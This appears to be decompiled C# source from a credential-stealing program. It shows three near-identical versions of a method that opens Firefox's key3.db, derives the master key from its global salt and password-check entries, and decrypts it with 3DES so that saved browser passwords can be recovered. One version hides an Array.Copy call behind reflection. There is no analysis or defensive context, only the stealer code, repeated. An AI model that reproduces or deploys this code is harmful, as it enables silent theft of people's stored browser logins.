private static byte[] GetPrivate3Key(string file)
{
byte[] array = new byte[24];
try
{
if (!File.Exists(file))
{
return(array);
}
new DataTable();
GeckoDatabase berkeleyDB = new GeckoDatabase(file);
PasswordCheck passwordCheck = new PasswordCheck(ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
string hexString = ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
geckoPasswordBasedEncryption.Init();
TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck));
Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
geckoPasswordBasedEncryption2.Init();
Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData))).Objects[0].Objects[2].ObjectData);
if (asn1Object2.Objects[0].Objects[3].ObjectData.Length <= 24)
{
array = asn1Object2.Objects[0].Objects[3].ObjectData;
return(array);
}
Array.Copy(asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
return(array);
}
catch
{
return(array);
}
}
// Token: 0x060002CB RID: 715 RVA: 0x0000D09C File Offset: 0x0000B29C
private static byte[] GetPrivate3Key(string file)
{
byte[] array = new byte[24];
try
{
if (!File.Exists(file))
{
return(array);
}
MethodInfo method = typeof(Array).GetMethod("Copy", new Type[]
{
typeof(Array),
typeof(int),
typeof(Array),
typeof(int),
typeof(int)
});
GeckoDatabase berkeleyDB = new GeckoDatabase(file);
PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("password-check")));
string hexString = GeckoEngine.ParseDb(berkeleyDB, (string x) => x.Equals("global-salt"));
GeckoPasswordBasedEncryption geckoPasswordBasedEncryption = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
geckoPasswordBasedEncryption.Init();
TripleDESHelper.Decrypt(geckoPasswordBasedEncryption.DataKey, geckoPasswordBasedEncryption.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None);
Asn1Object asn1Object = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
GeckoPasswordBasedEncryption geckoPasswordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(hexString), Encoding.GetEncoding("windows-1251").GetBytes(string.Empty), asn1Object.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
geckoPasswordBasedEncryption2.Init();
Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.GetEncoding("windows-1251").GetBytes(TripleDESHelper.Decrypt(geckoPasswordBasedEncryption2.DataKey, geckoPasswordBasedEncryption2.DataIV, asn1Object.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24)
{
method.Invoke(null, new object[]
{
asn1Object2.Objects[0].Objects[3].ObjectData,
asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24,
array,
0,
24
});
}
else
{
array = asn1Object2.Objects[0].Objects[3].ObjectData;
}
}
catch
{
}
return(array);
}
private static string ParseDb(GeckoDatabase berkeleyDB, Func <string, bool> predicate)
{
string empty = string.Empty;
try
{
foreach (KeyValuePair <string, string> key in berkeleyDB.Keys)
{
if (predicate(key.Key))
{
empty = key.Value;
}
}
}
catch
{
}
return(empty.Replace("-", string.Empty));
}
private static byte[] GetPrivate3Key(string file)
{
byte[] numArray = new byte[24];
try
{
if (!File.Exists(file))
{
return(numArray);
}
DataTable dataTable = new DataTable();
GeckoDatabase berkeleyDB = new GeckoDatabase(file);
PasswordCheck passwordCheck = new PasswordCheck(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("password-check"))));
string db = GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x => x.Equals("global-salt")));
GeckoPasswordBasedEncryption passwordBasedEncryption1 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), DecryptHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
passwordBasedEncryption1.Init();
TripleDESHelper.Decrypt(passwordBasedEncryption1.DataKey, passwordBasedEncryption1.DataIV, DecryptHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None);
Asn1Object asn1Object1 = Asn1Factory.Create(DecryptHelper.ConvertHexStringToByteArray(GeckoEngine.ParseDb(berkeleyDB, (Func <string, bool>)(x =>
{
if (!x.Equals("password-check") && !x.Equals("Version"))
{
return(!x.Equals("global-salt"));
}
return(false);
}))));
GeckoPasswordBasedEncryption passwordBasedEncryption2 = new GeckoPasswordBasedEncryption(DecryptHelper.ConvertHexStringToByteArray(db), Encoding.Default.GetBytes(string.Empty), asn1Object1.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
passwordBasedEncryption2.Init();
Asn1Object asn1Object2 = Asn1Factory.Create(Asn1Factory.Create(Encoding.Default.GetBytes(TripleDESHelper.Decrypt(passwordBasedEncryption2.DataKey, passwordBasedEncryption2.DataIV, asn1Object1.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
if (asn1Object2.Objects[0].Objects[3].ObjectData.Length > 24)
{
Array.Copy((Array)asn1Object2.Objects[0].Objects[3].ObjectData, asn1Object2.Objects[0].Objects[3].ObjectData.Length - 24, (Array)numArray, 0, 24);
}
else
{
numArray = asn1Object2.Objects[0].Objects[3].ObjectData;
}
}
catch
{
}
return(numArray);
}